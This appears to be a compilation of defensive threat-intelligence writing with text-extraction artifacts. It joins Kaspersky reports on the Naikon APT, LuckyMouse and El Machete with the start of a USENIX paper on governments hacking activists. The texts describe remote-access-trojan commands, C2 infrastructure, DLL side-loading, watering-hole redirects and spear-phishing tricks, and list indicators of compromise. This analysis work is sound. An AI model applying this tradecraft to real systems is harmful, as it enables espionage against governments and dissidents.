https://kasperskycontenthub.com/securelist/files/2015/05/Naikon_2.jpg PayloadPayload The main module is a remote administration utility.
Using SSL, the module establishes a reverse connection to the CC server as follows: it sets up an outgoing connection to the CC server and checks if there is a command that it should execute.
If there is, it executes the command and returns the result to the CC.
There are 48 commands in the modules repertoire, which a remote operator can use to effectively control the victim computer.
This includes taking a complete inventory, downloading and uploading data, installing add-on modules, or working with the command line.
Here is the complete list of commands: 0 CMD_MAIN_INFO 1 CMD_PROCESS_REFRESH 2 CMD_PROCESS_NAME 3 CMD_PROCESS_KILL 4 CMD_PROCESS_MODULE 5 CMD_DRIVE_REFRESH 6 CMD_DIRECTORY 7 CMD_DIRECTORY_CREATE 8 CMD_DIRECTORY_CREATE_HIDDEN 9 CMD_DIRECTORY_DELETE 10 CMD_DIRECTORY_RENAME 11 CMD_DIRECOTRY_DOWNLOAD The main module supports 48 commands, which the attackers can use to control the victim machine NaikonAPT Tweet https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fanalysis2Fpublications2F699532Fthe-naikon-apt2FtextThemainmodulesupports48commands2Cwhichtheattackerscanusetocontrolthevictimmachine23NaikonAPT 12 CMD_FILE_REFRESH 13 CMD_FILE_DELETE 14 CMD_FILE_RENAME 15 CMD_FILE_EXECUTE_NORMAL 16 CMD_FILE_EXECUTE_HIDDEN 17 CMD_FILE_EXECUTE_NORMAL_CMD 18 CMD_FILE_EXECUTE_HIDDEN_CMD 19 CMD_FILE_UPLOAD 20 CMD_FILE_DOWNLOAD 21 CMD_WINDOWS_INFO 22 CMD_WINDOWS_MESSAGE 23 CMD_SHELL_OPEN 24 CMD_SHELL_CLOSE 25 CMD_SHELL_WRITE 26 CMD_SERVICE_REFRESH 27 CMD_SERVICE_CONTROL 28 CMD_PROGRAM_INFO 29 CMD_UNINSTALL_PROGRAM 30 CMD_REGESTRY_INFO 31 CMD_ADD_AUTO_START 32 CMD_MY_PLUGIN 33 CMD_3RD_PLUGIN 34 CMD_REG_CREATEKEY 35 CMD_REG_DELETEKEY 36 CMD_REG_SETVALUE 37 CMD_REG_DELETEVALUE 38 CMD_SELF_KILL 39 CMD_SELF_RESTART 40 CMD_SELF_CONFIG 41 CMD_SELF_UPDATE 42 CMD_SERVER_INFO 43 CMD_INSTALL_SERVICE 44 CMD_FILE_DOWNLOAD2 45 CMD_RESET 46 CMD_CONNECTION_TABLE 50 CMD_HEART_BEAT Several modifications of the main module exist.
There are no fundamental differences between modifications its just that extra features get added to the latest versions, such as compression and encryption of transmitted data, or the piecemeal download of large files.
d085ba82824c1e61e93e113a705b8e9a 118272 Aug 23 18:46:57 2012 b4a8dc9eb26e727eafb6c8477963829c 140800 May 20 11:56:38 2013 172fd9cce78de38d8cbcad605e3d6675 118784 Jun 13 12:14:40 2013 d74a7e7a4de0da503472f1f051b68745 190464 Aug 19 05:30:12 2013 93e84075bef7a11832d9c5aa70135dc6 154624 Jan 07 04:39:43 2014 CC-Proxy-OpCC-Proxy-Op CC server operations are characterized by the following: Low maintenance requirements Organized geo-specific task assignments Different approaches to communication The CC servers must have required only a few operators to manage the entire network.
Each operator appears to have focused on their own particular set of targets, because a correlation exists between CC and the location of targets/victims.
Communication with victim systems changed depending on the target involved.
In some cases, a direct connection was established between the victim computer and the CC.
In other cases, the connection was established via dedicated proxy servers installed on dedicated servers rented in third countries.
In all likelihood, this additional setup was a reaction to the network administrators in some targets limiting or monitoring outbound network connections from their organizations.
Here is a partial list of CC servers and victim locations, demonstrating the geo-specific correlation: ID Jakarta linda.googlenow.in ID Jakarta admin0805.gnway.net ID Jakarta free.googlenow.in ID frankhere.oicp.net ID Bandung frankhere.oicp.net ID Bandung telcom.dhtu.info ID Jakarta laotel08.vicp.net JP Tokyo greensky27.vicp.net KH googlemm.vicp.net KH Phnom Penh googlemm.vicp.net MM peacesyou.imwork.net MM sayakyaw.xicp.net MM ubaoyouxiang.gicp.net MM Yangon htkg009.gicp.net MM kyawthumyin.xicp.net There is a geo- specific correlation between the location of NaikonAPT CCs and that of targets/victims Tweet https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fanalysis2Fpublications2F699532Fthe-naikon-apt2FtextThereisageo-specificcorrelationbetweenthelocationof23NaikonAPTC26amp3BCsandthatoftargets2Fvictims MM myanmartech.vicp.net MM test-user123.vicp.cc MY us.googlereader.pw MY net.googlereader.pw MY lovethai.vicp.net MY yahoo.goodns.in MY Putrajaya xl.findmy.pw MY Putrajaya xl.kevins.pw PH Caloocan oraydns.googlesec.pw PH Caloocan gov.yahoomail.pw PH pp.googledata.pw PH xl.findmy.pw PH mlfjcjssl.gicp.net PH o.wm.ggpw.pw PH oooppp.findmy.pw PH cipta.kevins.pw PH phi.yahoomail.pw SG Singapore xl.findmy.pw SG Singapore dd.googleoffice.in VN Hanoi moziliafirefox.wicp.net VN Hanoi bkav.imshop.in VN Hanoi baomoi.coyo.eu VN Dong Ket macstore.vicp.cc VN Hanoi downloadwindows.imwork.net VN Hanoi vietkey.xicp.net VN Hanoi baomoi.vicp.cc VN Hanoi downloadwindow.imwork.net VN Binh Duong www.ttxvn.net VN Binh Duong vietlex.gnway.net VN Hanoi www.ttxvn.net VN Hanoi us.googlereader.pw VN Hanoi yahoo.goodns.in VN Hanoi lovethai.vicp.net VN Hanoi vietlex.gnway.net XSControl  the Naikon APTsXSControl  the Naikon APTs victim management softwarevictim management software In the Naikon scheme, a CC server can be specialized XSControl software running on the  host machine.
It can be used to manage an entire network of infected clients.
In some cases, a proxy is used to tunnel victim traffic to the XSControl server.
A Naikon proxy server is a dedicated server that accepts incoming connections from victim computers and redirects them to the operators CC.
An individual Naikon proxy server can be set up in any target country with traffic tunnelling from victim systems to the related CC servers.
XSControl is written in .NET with the use of DevExpress: https://kasperskycontenthub.com/securelist/files/2015/05/xs8.png https://kasperskycontenthub.com/securelist/files/2015/05/xs9.png Its main capabilities are: Accept initial connections from clients Provide clients with the main remote administration module Enable them to remotely administer infected computers with the help of a GUI Keep logs of client activity Keep logs of operator activity Upload logs and files to an FTP server The operators activity logs contain the following: An XML database of downloaded files, specifying the time of operation, the remote path and the local path A database of file names, the victim computer registry keys for the folders and requested sections A history of executed commands Country X, Operator XCountry X, Operator X https://kasperskycontenthub.com/securelist/files/2015/05/xs9.png Now lets do an overview of one Naikon campaign, focusing on country X.
Analysis revealed that the cyber-espionage campaign against country X had been going on for many years.
Computers infected with the remote control modules provided attackers with access to employees corporate email and internal resources, and access to personal and corporate email content hosted on external services.
Below is a partial list of organizations affected by Naikons operator Xs espionage campaign in country X.
Office of the President Military Forces Office of the Cabinet Secretary National Security Council Office of the Solicitor General Intelligence Services Civil Aviation Authority Department of Justice Federal Police Executive/Presidential Administration and Management Staff A few of these organizations were key targets and under continuous, real-time monitoring.
It was during operator Xs network monitoring that the attackers placed Naikon proxies within the countries borders, to cloak and support real-time outbound connections and data exfiltration from high-profile victim organizations.
In order to obtain employees credentials, operator X sometimes used keyloggers.
If necessary, operator X delivered them via the remote control client.
In addition to stealing keystrokes, this attacker also intercepted network traffic.
Lateral movements included copying over and remotely setting up winpcap across desktop systems within sensitive office networks, then remotely setting up AT jobs to run these network sniffers.
Some APTs like Naikon distribute tools such as these across multiple systems in order to regain control if it is lost accidentally and to maintain persistence.
Operator X also took advantage of cultural idiosyncrasies in its target countries, for example, the regular and widely accepted use of personal Gmail accounts for work.
So it was not difficult for the Naikon APT to register similar-looking email addresses and to spear-phish targets with attachments, links to sites serving malware, and links to google drive.
The empire strikes backThe empire strikes back Every once in a while the Naikon group clashes with other APT groups that are also active in the region.
In particular, we noticed that the Naikon group was spear-phished by an actor we now call Hellsing.
More details about the cloak and dagger games between Naikon and Hellsing can be found in our blogpost: The Chronicles of the Hellsing APT: The Empire Strikes Back.
Related ArticlesRelated Articles The NaikonAPT group took advantage of cultural idiosyncrasies in its target countries Tweet MICROSOFTMICROSOFT SECURITYSECURITY UPDATES MAYUPDATES MAY 20152015 IT THREATIT THREAT EVOLUTION INEVOLUTION IN Q1 2015Q1 2015 HOW EXPLOITHOW EXPLOIT PACKS AREPACKS ARE CONCEALED INCONCEALED IN A FLASH OBJECTA FLASH OBJECT http://securelist.com/analysis/publications/69567/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/ https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fanalysis2Fpublications2F699532Fthe-naikon-apt2FtextThe23NaikonAPTgrouptookadvantageofculturalidiosyncrasiesinitstargetcountries https://securelist.com/blog/software/69938/microsoft-security-updates-may-2015/ https://securelist.com/analysis/quarterly-malware-reports/69872/it-threat-evolution-in-q1-2015/ https://securelist.com/analysis/publications/69727/how-exploit-packs-are-concealed-in-a-flash-object/
By Denis Legezo LuckyMouse hits national data center to organize country- level waterholing campaign securelist.com/luckymouse-hits-national-data-center/86083 What happened?
In March 2018 we detected an ongoing campaign targeting a national data center in the Central Asia that we believe has been active since autumn 2017.
The choice of target made this campaign especially significant  it meant the attackers gained access to a wide range of government resources at one fell swoop.
We believe this access was abused, for example, by inserting malicious scripts in the countrys official websites in order to conduct watering hole attacks.
The operators used the HyperBro Trojan as their last-stage in-memory remote administration tool (RAT).
The timestamps for these modules are from December 2017 until January 2018.
The anti-detection launcher and decompressor make extensive use of Metasploits shikata_ga_nai encoder as well as LZNT1 compression.
Kaspersky Lab products detect the different artifacts used in this campaign with the following verdicts: Trojan.
Win32.Generic, Trojan-Downloader.
Win32.Upatre and Backdoor.
Win32.HyperBro.
A full technical report, IoCs and YARA rules are available from our intelligence reporting service (contact us intelligencekaspersky.com).
Whos behind it?
Due to tools and tactics in use we attribute the campaign to LuckyMouse Chinese-speaking actor (also known as EmissaryPanda and APT27).
Also the C2 domain update.iaacstudio[.
]com was previously used in their campaigns.
The tools found in this campaign, such as the HyperBro Trojan, are regularly used by a variety of Chinese-speaking actors.
Regarding Metasploits shikata_ga_nai encoder  although its available for everyone and couldnt be the basis for attribution, we know this encoder has been used by LuckyMouse previously.
Government entities, including the Central Asian ones also were a target for this actor before.
Due to LuckyMouses ongoing waterholing of government websites and the corresponding dates, we suspect that one of the aims of this campaign is to access web pages via the data center and inject JavaScripts into them.
How did the malware spread?
1/5 https://securelist.com/luckymouse-hits-national-data-center/86083/ https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/08144740/180608-luckymouse-1.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/08144741/180608-luckymouse-2.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/08144740/180608-luckymouse-3.png The initial infection vector used in the attack against the data center is unclear.
Even when we observed LuckyMouse using weaponized documents with CVE-2017-11882 (Microsoft Office Equation Editor, widely used by Chinese-speaking actors since December 2017), we cant prove they were related to this particular attack.
Its possible the actor used a waterhole to infect data center employees.
The main C2 used in this campaign is bbs.sonypsps[.
]com, which resolved to IP-address, that belongs to the Ukrainian ISP network, held by a Mikrotik router using firmware version 6.34.4 (from March 2016) with SMBv1 on board.
We suspect this router was hacked as part of the campaign in order to process the malwares HTTP requests.
The Sonypsps[.
]com domain was last updated using GoDaddy on 2017-05-05 until 2019-03-13.
FMikrotik router with two-year-old firmware and SMBv1 on board used in this campaign In March 2017, Wikileaks published details about an exploit affecting Mikrotik called ChimayRed.
According to the documentation, however, it doesnt work for firmware versions higher than 6.30.
This router uses version 6.34.
There were traces of HyperBro in the infected data center from mid-November 2017.
Shortly after that different users in the country started being redirected to the malicious domain update.iaacstudio[.
]com as a result of the waterholing of government websites.
These events suggest that the data center infected with HyperBro and the waterholing campaign are connected.
What did the malware do in the data center?
2/5 Anti-detection stages.
Different colors show the three dropped modules: legit app (blue), launcher (green), and decompressor with the Trojan embedded (red) The initial module drops three files that are typical for Chinese-speaking actors: a legit Symantec pcAnywhere (IntgStat.exe) for DLL side loading, a .dll launcher (pcalocalresloader.dll) and the last-stage decompressor (thumb.db).
As a result of all these steps, the last-stage Trojan is injected into svchost.exes process memory.
The launcher module, obfuscated with the notorious Metasploits shikata_ga_nai encoder, is the same for all the droppers.
The resulting deobfuscated code performs typical side loading: it patches pcAnywheres image in memory at its entry point.
The patched code jumps back to the decryptors second shikata_ga_nai iteration, but this time as part of the whitelisted application.
This Metasploits encoder obfuscates the last part of the launchers code, which in turn resolves the necessary API and maps thumb.db into the same processs (pcAnywhere) memory.
The first instructions in the mapped thumb.db are for a new shikata_ga_nai iteration.
The decrypted code resolves the necessary API functions, decompresses the embedded PE file with RtlCompressBuffer() using LZNT1 and maps it into memory.
What does the resulting watering hole look like?
3/5 The websites were compromised to redirect visitors to instances of both ScanBox and BEeF.
These redirects were implemented by adding two malicious scripts obfuscated by a tool similar to the Dean Edwards packer.
Resulting script on the compromised government websites Users were redirected to https://google-updata[.
]tk:443/hook.js, a BEeF instance, and https://windows-updata[.
]tk:443/scanv1.8/i/?1, an empty ScanBox instance that answered a small piece of JavaScript code.
Conclusions LuckyMouse appears to have been very active recently.
The TTPs for this campaign are quite common for Chinese-speaking actors, where they typically provide new solid wrappers (launcher and decompressor protected with shikata_ga_nai in this case) around their RATs (HyperBro).
The most unusual and interesting point here is the target.
A national data center is a valuable source of data that can also be abused to compromise official websites.
Another interesting point is the Mikrotik router, which we believe was hacked specifically for the campaign.
The reasons for this are not very clear: typically, Chinese-speaking actors dont bother disguising their campaigns.
Maybe these are the first steps in a new stealthier approach.
Some indicators of compromise Droppers 4/5 22CBE2B0F1EF3F2B18B4C5AED6D7BB79 0D0320878946A73749111E6C94BF1525 Launcher ac337bd5f6f18b8fe009e45d65a2b09b HyperBro in-memory Trojan 04dece2662f648f619d9c0377a7ba7c0 Domains and IPs bbs.sonypsps[.
]com update.iaacstudio[.
]com wh0am1.itbaydns[.
]com google-updata[.
]tk windows-updata[.
]tk 5/5 LuckyMouse hits national data center to organize country-level waterholing campaign What happened?
Whos behind it?
How did the malware spread?
What did the malware do in the data center?
What does the resulting watering hole look like?
Conclusions Some indicators of compromise
El Machete Introduction Some time ago, a Kaspersky Lab customer in Latin America contacted us to say he had visited China and suspected his machine was infected with an unknown, undetected malware.
While assisting the customer, we found a very interesting file in the system that is completely unrelated to China and contained no Chinese coding traces.
At first look, it pretends to be a Java related application but after a quick analysis, it was obvious this was something more than just a simple Java file.
It was a targeted attack we are calling Machete.
What is Machete?
Machete is a targeted attack campaign with Spanish speaking roots.
We believe this campaign started in 2010 and was renewed with an improved infrastructure in 2012.
The operation may be still active.
The malware is capable of the following cyber-espionage operations: Logging keystrokes Capturing audio from the computers microphone Capturing screenshots Capturing geolocation data Taking photos from the computers web camera Copying files to a remote server Copying files to a special USB device if inserted Hijjacking the clipboard and capturing information from the target machine Targets of Machete Most of the victims are located in, Venezuela, Ecuador, Colombia, Peru, Russia, Cuba, and Spain, among others.
In some cases, such as Russia, the target appears to be an embassy from one of the countries of this list.
Targets include high-level profiles, including intelligence services, military, embassies and government institutions.
https://securelist.com/files/2014/08/El_Machete_1.jpg How does Machete operate?
The malware is distributed via social engineering techniques, which includes spear-phishing emails and infections via Web by a fake Blog website.
We have found no evidence of of exploits targeting zero-day vulnerabilities.
Both the attackers and the victims appear to be Spanish-speaking.
During this investigation, we also discovered many other the files installing this cyber-espionage tool in what appears to be a dedicated a spear phishing campaign.
These files display a PowerPoint presentation that installs the malware on the target system once the file is opened.
These are the names of the PowerPoint attachments: Hermosa XXX.pps.rar Suntzu.rar El arte de la guerra.rar Hot brazilian XXX.rar These files are in reality Nullsoft Installer self-extracting archives and have compilation dates going back to 2008.
A consequence of the embedded  Python code inside the executables is that these installers include all the necessary Python libraries as well as the PowerPoint file shown to the victim during the installation.
The result is extremely large files, over 3MB.
Here are some screnshots of the mentioned files: A technical relevant fact about this campaign is the use of Python embedded into Windows executables of the malware.
This is very unusual and does not have any advantage for the attackers except ease of coding.
There is no multi-platform support as the code is heavily Windows-oriented (use of libraries).
However, we discovered several clues that the attackers prepared the infrastructure for Mac OS X and Unix victims as well.
In addition to Windows components, we also found a mobile (Android) component.
https://securelist.com/files/2014/08/El_Machete_3.jpg Both attackers and victims speak Spanish natively, as we see it consistently in the source code of the client side and in the Python code.
Indicators of Compromise Web infections The following code snippets were found into the HTML of websites used to infect victims: Note: Thanks to Tyler Hudak from Korelogic who noticed that the above HTML is copy pasted from SET, The Social Engineering Toolkit.
Also the following link to one known infection artifact: hxxp://name.domain.org/nickname/set/Signed_Update.jar Domains https://securelist.com/files/2014/08/El_Machete_5.jpg https://www.trustedsec.com/downloads/social-engineer-toolkit/ The following are domains found during the infection campaign.
Any communication with them must be considered extremely suspicious java.serveblog.net agaliarept.com frejabe.com grannegral.com plushbr.com xmailliwx.com blogwhereyou.com (sinkholed by Kaspersky Lab) grannegral.com (sinkholed by Kaspersky Lab) Infection artifacts MD5 Filename 61d33dc5b257a18eb6514e473c1495fe AwgXuBV31pGV.eXe b5ada760476ba9a815ca56f12a11d557 EL ARTE DE LA GUERRA.exe d6c112d951cb48cab37e5d7ebed2420b Hermosa XXX.rar df2889df7ac209e7b696733aa6b52af5 Hermosa XXX.pps.rar e486eddffd13bed33e68d6d8d4052270 Hermosa XXX.pps.rar e9b2499b92279669a09fef798af7f45b Suntzu.rar f7e23b876fc887052ac8e2558f0d6c38 Hot Brazilian XXX.rar b26d1aec219ce45b2e80769368310471 Signed_Update.jar Traces on infected machines Creates the file Java Update.lnk pointing to appdata/Jre6/java.exe Malware is installed in appdata/ MicroDes/ Running processes Creates Task Microsoft_up Human part of Machete Language The first evidence is the language used, both for the victims and attackers, is Spanish.
The victims are all Spanish speaking according to the filenames of the stolen documents.
The language is also Spanish for the operators of the campaign, we can find all the server side code written in this language: reportes, ingresar, peso, etc.
Conclusion The Machete discovery shows there are many regional  players in the world of targeted attacks.
Unfortunately, such attacks became a part of the cyber arsenal of many nations located over the world.
We can be sure there are other parallel targeted attacks running now in Latin America and other regions.
Kaspersky Lab products detect malicious samples related to this targeted attack as Trojan- Spy.
Python.
Ragua.
Note: A full analysis of the Machete attacks is available to the Kaspersky Intelligent Services customers.
Contact: intelreportskaspersky.com mailto:intelreportskaspersky.com
This paper is included in the Proceedings of the 23rd USENIX Security Symposium.
August 2022, 2014  San Diego, CA ISBN 978-1-931971-15-7 Open access to the Proceedings of the 23rd USENIX Security Symposium is sponsored by USENIX When Governments Hack Opponents: A Look at Actors and Technology William R. Marczak, University of California, Berkeley, and The Citizen Lab John Scott-Railton, University of California, Los Angeles, and The Citizen Lab Morgan Marquis-Boire, The Citizen Lab Vern Paxson, University of California, Berkeley, and International Computer Science Institute https://www.usenix.org/conference/usenixsecurity14/technical-sessions/presentation/marczak USENIX Association  23rd USENIX Security Symposium 511 When Governments Hack Opponents: A Look at Actors and Technology William R. Marczak UC Berkeley, Citizen Lab John Scott-Railton UCLA, Citizen Lab Morgan Marquis-Boire Citizen Lab Vern Paxson UC Berkeley, ICSI Abstract Repressive nation-states have long monitored telecommunica- tions to keep tabs on political dissent.
The Internet and online social networks, however, pose novel technical challenges to this practice, even as they open up new domains for surveil- lance.
We analyze an extensive collection of suspicious files and links targeting activists, opposition members, and non- governmental organizations in the Middle East over the past several years.
We find that these artifacts reflect efforts to at- tack targets devices for the purposes of eavesdropping, stealing information, and/or unmasking anonymous users.
We describe attack campaigns we have observed in Bahrain, Syria, and the United Arab Emirates, investigating attackers, tools, and tech- niques.
In addition to off-the-shelf remote access trojans and the use of third-party IP-tracking services, we identify commer- cial spyware marketed exclusively to governments, including Gammas FinSpy and Hacking Teams Remote Control Sys- tem (RCS).
We describe their use in Bahrain and the UAE, and map out the potential broader scope of this activity by conduct- ing global scans of the corresponding command-and-control (CC) servers.
Finally, we frame the real-world consequences of these campaigns via strong circumstantial evidence linking hacking to arrests, interrogations, and imprisonment.
1 Introduction Computer security research devotes extensive efforts to pro- tecting individuals against indiscriminate, large-scale attacks such as those used by cybercriminals.
Recently, the prob- lem of protecting institutions against targeted attacks conducted by nation-states (so-called Advanced Persistent Threats) has likewise elicited significant research interest.
Where these two problem domains intersect, howevertargeted cyber attacks by nation-states against individualshas received virtually no sig- nificant, methodical research attention to date.
This new prob- lem space poses challenges that are both technically complex and of significant real-world importance.
In this work we undertake to characterize the emergent prob- lem space of nation-state Internet attacks against individuals engaged in pro-democracy or opposition movements.
While we lack the data to do so in a fully comprehensive fashion, we provide extensive detail from both technical and operational perspectives as seen in three countries.
We view such character- izations as the fundamental first step necessary for the rigorous, scientific pursuit of a new problem space.
For our study we draw upon several years of research we have conducted into cases from Bahrain, Syria and the United Arab Emirates.
We frame the nature of these attacks, and the technology and infrastructure used to conduct them, in the con- text of their impacts on real people.
We hope in the process to inspire additional research efforts addressing the difficult prob- lem of how to adequately protect individuals with very limited resources facing powerful adversaries.
As an illustration of this phenomenon, consider the follow- ing anecdote, pieced together from public reports and court documents.
At dawn on 3/12/13,1 police raided the house of 17-year- old Ali Al-Shofa, confiscated his laptop and phone, and took him into custody.
He was charged with referring to Bahrains King as a dictator (  ) and fallen one ( ) on a pseudonymous Twitter account, alkawarahnews.
Accord- ing to court documents, Bahrains Cyber Crime Unit had linked an IP address registered in his fathers name to the account on 12/9/12.
Operators of alkawarahnews later forwarded a suspicious private message to one of the authors.
The message was received on 12/8/12 on a Facebook account linked to the Twitter handle, and contained a link to a protest video, purport- edly sent by an anti-government individual.
The link redirected through iplogger.org, a service that records the IP address of anyone who clicks.
Analytics for the link indicate that it had been clicked once from inside Bahrain.
On 6/25/13, Ali was sentenced to one year in prison.
Alis case is an example of the larger phenomenon we in- vestigate: attacks against activists, dissidents, trade unionists, human rights campaigners, journalists, and members of NGOs (henceforth targets) in the Middle East.
The attacks we have documented usually involve the use of malicious links or e-mail attachments, designed to obtain information from a device.
On the one hand, we have observed attacks using a wide range of off-the-shelf spyware, as well as publicly available third-party services, like iplogger.org.
On the other hand, some at- tacks use so-called lawful intercept trojans and related equip- 1Dates in the paper are given MM/DD/YY.
512 23rd USENIX Security Symposium USENIX Association ment, purportedly sold exclusively to governments by compa- nies like Gamma International and Hacking Team.
The lat- ter advertises that governments need its technology to look through their targets eyes rather than rely solely on passive monitoring [1].
Overall, the attacks we document are rarely technically novel.
In fact, we suspect that the majority of at- tacks could be substantially limited via well-known security practices, settings, and software updates.
Yet, the attacks are noteworthy for their careful social engineering, their links to governments, and their real-world impact.
We obtained the majority of our artifacts by encouraging in- dividuals who might be targeted by governments to provide us with suspicious files and unsolicited links, especially from un- familiar senders.
While this process has provided a rich set of artifacts to analyze, it does not permit us to claim our dataset is representative.
Our analysis links these attacks with a common class of ac- tor: an attacker whose behavior, choice of target, or use of in- formation obtained in the attack, aligns with the interests of a government.
In some cases, such as Alis, the attackers appear to be governments themselves in other cases, they appear in- stead to be pro-government actors, ranging from patriotic, not necessarily skilled volunteers to cyber mercenaries.
The phe- nomenon has been identified before, such as in Libya, when the fall of Gaddafis regime revealed direct government ties to hacking during the 2011 Civil War [2].
We make the following contributions: We analyze the technology associated with targeted at- tacks (e.g., malicious links, spyware), and trace it back to its programmers and manufacturers.
While the attacks are not noveland indeed often involve technology used by the cybercrime undergroundthey are significant be- cause they have a real-world impact and visibility, and are connected to governments.
In addition, we often find amateurish mistakes in either the attackers technology or operations, indicating that energy spent countering these threats can realize significant benefits.
We do not, how- ever, conclude that all nation-state attacks or attackers are incompetent, and we suspect that some attacks have evaded our detection.
When possible, we empirically characterize the attacks and technology we have observed.
We map out global use of two commercial hacking tools by governments by searching through Internet scan data using fingerprints for command-and-control (CC) servers derived from our spyware analysis.
We develop strong evidence tying attacks to govern- ment sponsors and corporate suppliers, countering de- nials, sometimes energetic and sometimes indirect, of such involvement [3, 4, 5, 6], in contrast to denials [7] or claims of a corporate oversight board [8].
Our scan- ning suggests use of lawful intercept trojans by 11 ad- ditional countries considered governed by authoritarian regimes.
We believe that activists and journalists in such countries may experience harassment or consequences to life or liberty from government surveillance.
Finally, we do not explore potential defenses appropriate for protecting the target population in this work.
We believe that to do so in a sufficiently well-grounded, meaningful manner first requires developing an understanding of the targets knowledge of security issues, their posture regarding how they currently protect themselves, and the resources (including potentially ed- ucation) that they can draw upon.
To this end, we are now con- ducting (with IRB approval) in-depth interviews with potential targets along with systematic examination of their Internet de- vices in order to develop such an understanding.
2 Related Work In the past decades, a rich body of academic work has grown to document and understand government Internet censorship, in- cluding nationwide censorship campaigns like the Great Fire- wall of China [9, 10, 11].
Research on governmental Internet surveillance and activities like law-enforcement interception is a comparatively smaller area [12].
Some academic work looks at government use of devices to enable censorship, such as key- word blacklists for Chinese chat clients [13], or the Green Dam censorware that was to be deployed on all new computers sold in China [14].
We are aware of only limited previous work looking at advanced threat actors targeting activists with hack- ing, though this work has not always been able to establish ev- idence of government connections [15].
Platforms used by potential targets, such as GMail [16], Twitter [17], and Facebook [18] increasingly make transport- layer encryption the default, obscuring communications from most network surveillance.
This use of encryption, along with the global nature of many social movements, and the role of diaspora groups, likely makes hacking increasingly attractive, especially to states who are unable to request or compel content from these platforms.
Indeed, the increasing use of encryption and the global nature of targets have both been cited by pur- veyors of lawful intercept trojans in their marketing materi- als [1, 19].
In one notable case in 2009, UAE telecom firm Eti- salat distributed a system update to its then 145,000 BlackBerry subscribers that contained spyware to read encrypted Black- Berry e-mail from the device.
The spyware was discovered when the update drastically slowed users phones [20].
In con- trast to country-scale distribution, our work looks at this kind of pro-government and government-linked surveillance through highly targeted attacks.
The term APT (Advanced Persistent Threat) refers to a sophisticated cyber-attacker who persistently attempts to tar- get an individual or group [21].
Work outside the academic community tracking government cyberattacks typically falls under this umbrella.
There has been significant work on APT outside the academic community, especially among se- curity professionals, threat intelligence companies, and human rights groups.
Much of this work has focused on suspected government-on-government or government-on-corporation cy- ber attacks [22, 23].
Meanwhile, a small but growing body of this research deals with attacks carried out by governments against opposition and activist groups operating within, as well as outside their borders.
One of the most notable cases is GhostNet, a large-scale cyber espionage campaign against the Tibetan independence movement [24, 25].
Other work avoids drawing conclusions about the attackers [26].
2 USENIX Association  23rd USENIX Security Symposium 513 Country Date Range Range of Targets Number and Type of Samples Distinct Malware CCs Bahrain 4/9/12 7/31/13 12 activists, dissidents, trade unionists, human rights campaigners, and journalists 8 FinSpy samples, 7 IP spy links received via private message,  200 IP spy links observed publicly 4 distinct IP addresses Syria 2011 to present 1020 individuals with technical back- grounds who receive suspect files from their contacts 4050: predominantly BlackShades, DarkComet, Xtreme RAT, njRAT, ShadowTech RAT.
160 distinct IP addresses UAE 7/23/12 7/31/13 7 activists, human rights campaigners, and journalists 31 distinct malware samples spanning 7 types 5 dis- tinct exploits 12 distinct IP addresses Table 1: Range of data for the study.
Country Possible Impacts Probable Impacts Bahrain 1.
3 individuals arrested, sen- tenced to 112 mo in prison 2.
Union leader questioned by police fired 1.
Activist serving 1 yr in prison 2.
Police raid on house Syria 1.
Sensitive opposition com- munications exposed to gov- ernment 2.
Exfiltrated material used to identify and detain activists 1.
Opposition members dis- credited by publishing embar- rassing materials 2.
Exfiltrated materials used during interrogation by secu- rity services UAE Contacts targeted via mal- ware Password stolen, e-mail downloaded Table 2: Negative outcomes plausibly or quite likely aris- ing from attacks analyzed.
3 Data Overview and Implications Our study is based on extensive analysis of malicious files and suspect communications relevant to the activities of targeted groups in Bahrain, Syria, and the UAE, as documented in Ta- ble 1.
A number of the attacks had significant real-world impli- cations, per Table 2.
In many cases, we keep our descriptions somewhat imprecise to avoid potential leakage of target identi- ties.
We began our work when contacted by individuals con- cerned that a government might have targeted them for cyber- attacks.
As we became more acquainted with the targeted com- munities, in some cases we contacted targeted groups directly in others, we reached out to individuals with connections to tar- geted groups, who allowed us to examine their communications with the groups.
For Bahrain and Syria, the work encompassed 10,000s of e-mails and instant messages.
For the UAE, the vol- ume is several thousand communications.
4 Case Studies: Three Countries This following sections outline recent targeted hacking cam- paigns in Bahrain, Syria and the UAE.
These cases have a com- mon theme: attacks against targets computers and devices with malicious files and links.
In some cases the attackers employed expensive and government exclusive malware, while in other cases, attackers used cheap and readily available RATs.
Across these cases we find that clever social engineering often plays a central role, which is strong evidence of a well-informed ad- versary.
We also, however, frequently find technical and op- erational errors by the attackers that enable us to link attacks to governments.
In general, the attacks we find are not well- detected by anti-virus programs.
Figure 1: E-mail containing FinSpy.
4.1 Bahrain We have analyzed two attack campaigns in the context of Bahrain, where the government has been pursuing a crackdown against an Arab-Spring inspired uprising since 2/14/2011.
The first involved malicious e-mails containing FinSpy, a lawful intercept trojan sold exclusively to governments.
The second involved specially crafted IP spy links and e-mails de- signed to reveal the IP addresses of operators of pseudonymous accounts.
Some individuals who apparently clicked on these links were later arrested, including Ali (cf.
1), whose click appears to have been used against him in court.
While both campaigns point back to the government, we have not as yet identified overlap between the campaigns targets of FinSpy appeared to reside mainly outside Bahrain, whereas the IP spy links targeted those mainly inside the country.
We examine each campaign in turn.
FinSpy Campaign.
Beginning in April 2012, the authors received 5 suspicious e-mails from US and UK-based activists and journalists working on Bahrain.
We found that some of the attachments contained a PE (.exe) file designed to appear as an image.
Their filenames contained a Uni- code right-to-left override (RLO) character, causing Windows to render a filename such as gpj.1bajaR.exe instead as exe.
Rajab1.jpg.
The other .rar files contained a Word document with an embedded ASCII-encoded PE file containing a custom macro set to automatically run upon document startup.
Under default security settings, Office disables all unsigned macros, so that a user who opens the document will only see an informational message that the macro has been disabled.
Thus, this attack was apparently designed with the belief or hope that targets would have reduced security settings.
3 514 23rd USENIX Security Symposium USENIX Association Identification as FinSpy: By running the sample using Windows Virtual PC, we found the following string in mem- ory: y:\lsvn_branches\finspyv4.01\finspyv2\.
This string suggests FinSpy, a product of Gamma Inter- national [27].
The executables used virtualized obfusca- tion [28], which appeared to be custom-designed.
We de- vised a fingerprint for the obfuscater and located a structurally similar executable by searching a large malware database.
